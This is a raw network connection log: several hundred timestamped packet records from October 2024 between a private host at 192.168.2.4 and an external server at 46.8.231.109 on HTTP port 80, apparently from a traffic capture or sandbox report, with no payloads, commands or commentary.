Oct 7, 2024 03:03:08.931098938 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.931107998 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.931154966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.983365059 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.983438015 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.983458996 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.983500957 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.983525038 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.983552933 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.983740091 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.983740091 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.009792089 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.009805918 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.009829998 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.009844065 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.009860039 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.009880066 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.009890079 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.009893894 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.009908915 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.009922028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.009946108 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.009946108 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.009954929 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.009989977 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.009989977 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.009998083 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.010068893 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.010096073 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.010102034 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.010138035 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.010138035 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.010163069 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.010176897 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.010205030 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.010215044 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.010215044 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.010265112 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.010304928 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.010304928 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.010324955 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.010360003 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.010396957 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.010396957 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.010413885 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.010445118 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.010482073 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.010482073 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.010492086 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.010538101 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.010586977 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.010596991 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.010596991 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.010637999 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.010648012 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.010708094 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.010740042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.010746956 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.010746956 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.010771990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.010791063 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.010802031 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.010838985 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.010838985 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.010871887 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.010929108 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.010931015 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.010991096 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.011022091 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.011029959 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.011029959 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.011060953 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.011080980 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.011116028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.011151075 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.011151075 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.011174917 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.011205912 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.011240005 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.011244059 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.011244059 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.011284113 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.011315107 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.011332989 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.011332989 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.011374950 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.011418104 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.011418104 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.011468887 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.011528015 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.011538029 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.011596918 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.011629105 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.011641979 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.011641979 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.011657953 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.011698008 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.011698008 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.011715889 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.011748075 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.011770010 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.011775970 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.011806011 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.011814117 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.011814117 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.011837006 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.011868000 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.011874914 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.011874914 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.011898994 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.011930943 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.011930943 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.011950016 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.011961937 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.011980057 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.011992931 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.012027979 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.012031078 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.012031078 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.012069941 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.012093067 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.012111902 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.012113094 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.012145042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.012165070 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.012175083 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.012183905 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.012206078 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.012231112 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.012238026 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.012267113 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.012274981 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.012274981 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.012299061 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.012330055 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.012336969 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.012336969 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.012360096 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.012391090 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.012397051 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.012397051 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.012423038 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.012456894 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.012459993 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.012459993 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.012466908 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.012499094 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.012517929 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.012517929 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.012542009 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.063714981 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.063733101 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.063761950 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.063777924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.063791990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.063807964 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.063914061 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.063914061 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.063914061 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.063914061 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.063914061 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.063914061 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.089973927 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.090003014 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.090035915 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.090156078 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.090156078 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.090156078 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.090183973 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.090213060 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.090241909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.090275049 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.090286970 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.090286970 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.090306997 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.090338945 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.090347052 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.090347052 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.090513945 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.090529919 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.090626955 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.090627909 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.090687990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.090701103 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.090737104 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.090765953 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.090792894 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.090833902 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.090833902 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.090852976 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.090883970 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.090910912 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.090920925 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.090920925 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.090943098 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.090953112 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.090975046 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.090979099 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.091006994 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.091042042 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.091042042 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.091059923 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.091099977 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.091119051 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.091130018 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.091161013 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.091188908 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.091188908 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.091219902 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.091263056 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.091274023 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.091274023 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.091321945 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.091382027 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.091406107 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.091432095 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.091463089 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.091495991 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.091526985 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.091547966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.091547966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.091557026 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.091588974 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.091603994 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.091603994 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.091622114 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.091649055 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.091682911 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.091706038 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.091743946 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.091747046 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.091769934 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.091773987 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.091833115 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.091878891 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.091886044 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.091886044 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.091907024 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.091968060 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.092004061 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.092015028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.092021942 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.092036009 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.092061996 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.092133999 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.092139959 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.092194080 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.092217922 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.092225075 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.092267036 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.092267036 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.092283010 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.092314005 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.092344046 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.092370033 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.092370033 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.092386961 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.092430115 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.092456102 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.092456102 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.092459917 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.092469931 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.092504978 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.092533112 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.092535973 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.092545986 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.092567921 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.092597961 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.092600107 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.092612028 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.092627048 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.092652082 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.092658997 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.092668056 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.092700958 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.092719078 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.092734098 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.092767954 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.092777014 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.092777014 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.092822075 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.100236893 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100250959 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100277901 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100291014 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100306034 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100310087 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.100342035 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.100380898 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.100402117 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100415945 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100430012 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100444078 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100457907 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100461960 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.100461960 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.100491047 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100500107 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.100537062 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100548983 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100565910 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.100573063 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.100577116 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100590944 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100609064 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.100609064 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.100652933 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.100703955 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100717068 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100730896 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100744963 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100754023 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.100760937 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100775957 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.100821018 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100835085 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100836992 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.100851059 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100866079 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.100868940 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100887060 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100902081 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100903034 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.100903034 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.100943089 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.100951910 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100965977 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100965977 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.100980043 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.100999117 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.100999117 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101025105 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101037979 CEST	80	49731	46.8.231.109	192.168.2.4
